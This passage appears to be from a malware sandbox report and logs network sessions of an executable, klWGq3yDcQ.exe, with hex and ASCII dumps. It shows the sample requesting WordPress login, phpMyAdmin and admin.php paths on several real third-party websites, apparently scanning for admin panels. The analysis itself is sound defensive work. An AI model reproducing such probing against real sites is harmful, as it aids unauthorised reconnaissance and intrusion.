2023-11-26 05:59:41 UTC	420	IN	Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 6d 61 72 67 69 6e 3a 20 32 30 70 78 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 3b 7d 0a 20 20 20 20 2e 65 72 72 6f 72 20 7b 63 6f 6c 6f 72 3a 20 23 65 30 30 3b 7d 0a 20 20 20 20 70 72 65 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 7d 0a 20 20 20 20 68 31 20 7b 66 Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title><style> body {margin: 20px; font-family: helvetica, sans-serif; max-width: 800px;} .error {color: #e00;} pre {font-size: 16px;} h1 {f
2023-11-26 05:59:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.4	62657	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	175	OUT	GET /PhpMyAdmin HTTP/1.1 Host: www.2brospw.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:40 UTC	1079	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 38 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 38 30 2e 38 34 31 31 30 33 32 38 32 33 31 36 36 35 32 31 38 31 30 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 53 65 72 76 65 72 3a 20 50 65 70 79 61 6b 61 2f 31 2e 31 39 2e 31 30 Data Ascii: HTTP/1.1 404 Not FoundContent-Length: 2865Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978380.8411032823166521810Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10
2023-11-26 05:59:40 UTC	173	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-
2023-11-26 05:59:40 UTC	1252	IN	Data Raw: 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 Data Ascii: scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="
2023-11-26 05:59:40 UTC	1252	IN	Data Raw: 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 Data Ascii: party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/e
2023-11-26 05:59:40 UTC	188	IN	Data Raw: 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: egardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.4	62748	162.210.96.117	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	184	OUT	GET /wp-login.php HTTP/1.1 Host: coralparkchristian.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	580	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 48 50 53 45 53 53 49 44 3d 6e 6d 76 6d 75 61 65 71 76 74 76 39 61 68 74 6c 71 68 67 72 62 6b 70 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:40 GMTServer: ApachePragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: PHPSESSID=nmvmuaeqvtv9ahtlqhgrbkp
2023-11-26 05:59:41 UTC	3247	IN	Data Raw: 63 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 Data Ascii: ca8<!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="en-US"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">...<![endif]--><head><meta http-equiv="Cont
2023-11-26 05:59:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.4	62702	72.167.58.161	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	172	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: webstamp.ca Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	275	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e 73 65 63 75 72 65 2d 72 65 71 75 65 73 74 73 3b 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTServer: ApacheContent-Security-Policy: upgrade-insecure-requests;Upgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesVary: Accept-EncodingTransfer-Encoding: chunkedContent
2023-11-26 05:59:41 UTC	648	IN	Data Raw: 32 37 63 0d 0a 2f 50 68 70 4d 79 41 64 6d 69 6e 2f 4f 4f 50 53 21 20 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 2e 20 54 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 62 65 65 6e 20 0d 0a 72 65 6d 6f 76 65 64 20 6f 72 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 64 65 72 20 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 0d 0a 46 65 65 6c 20 66 72 65 65 20 74 6f 20 72 65 61 64 20 74 68 65 20 6d 61 6e 79 20 6f 74 68 65 72 20 61 72 74 69 63 6c 65 73 20 61 76 61 69 6c 61 62 6c 65 20 61 74 20 0d 0a 68 74 74 70 73 3a 2f 2f 77 65 62 73 74 61 6d 70 2e 63 61 0d 0a 3c 21 2d 2d 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 27c/PhpMyAdmin/OOPS! Something went wrong. The page you requested has been removed or is currently under maintenance.Feel free to read the many other articles available at https://webstamp.ca...

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.4	62885	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	174	OUT	GET /admin.php HTTP/1.1 Host: www.2brospw.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	1084	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 38 30 2e 39 33 35 31 30 33 35 36 33 30 33 33 39 34 37 31 36 37 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 53 65 72 76 65 72 3a 20 50 65 70 79 61 6b 61 2f 31 2e 31 39 2e 31 30 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978380.935103563033947167Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Option
2023-11-26 05:59:41 UTC	168	IN	Data Raw: 62 33 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c Data Ascii: b31 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scal
2023-11-26 05:59:41 UTC	1252	IN	Data Raw: 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d Data Ascii: e=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <m
2023-11-26 05:59:41 UTC	1252	IN	Data Raw: 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 Data Ascii: ces/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0
2023-11-26 05:59:41 UTC	205	IN	Data Raw: 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.4	62809	162.250.126.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: mydirectlender.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	527	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 32 30 43 6f 6f 6b 69 65 25 32 30 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 0d 0a 78 2d 66 72 61 6d 65 2d 6f 70 74 69 6f 6e 73 Data Ascii: HTTP/1.1 200 OKConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; securex-frame-options
2023-11-26 05:59:41 UTC	841	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 53 74 61 67 69 6e 67 20 66 6f 72 20 4d 79 44 69 72 65 63 74 4c 65 6e 64 65 72 2e 63 6f 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Staging for MyDirectLender.com — WordPress</title><meta name='robots' content='noindex, nofollow' /><scrip
2023-11-26 05:59:41 UTC	5794	IN	Data Raw: 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 66 6f 72 6d 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 31 30 6e 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f Data Ascii: nk rel='stylesheet' id='forms-css' href='https://mydirectlender.com/wp-admin/css/forms.min.css?ver=6.4.1' type='text/css' media='all' /><link rel='stylesheet' id='l10n-css' href='https://mydirectlender.com/wp-admin/css/l10n.min.css?ver=6.4.1' type='text/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.4	62881	104.26.12.245	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	176	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: hightideinc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	741	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, ma
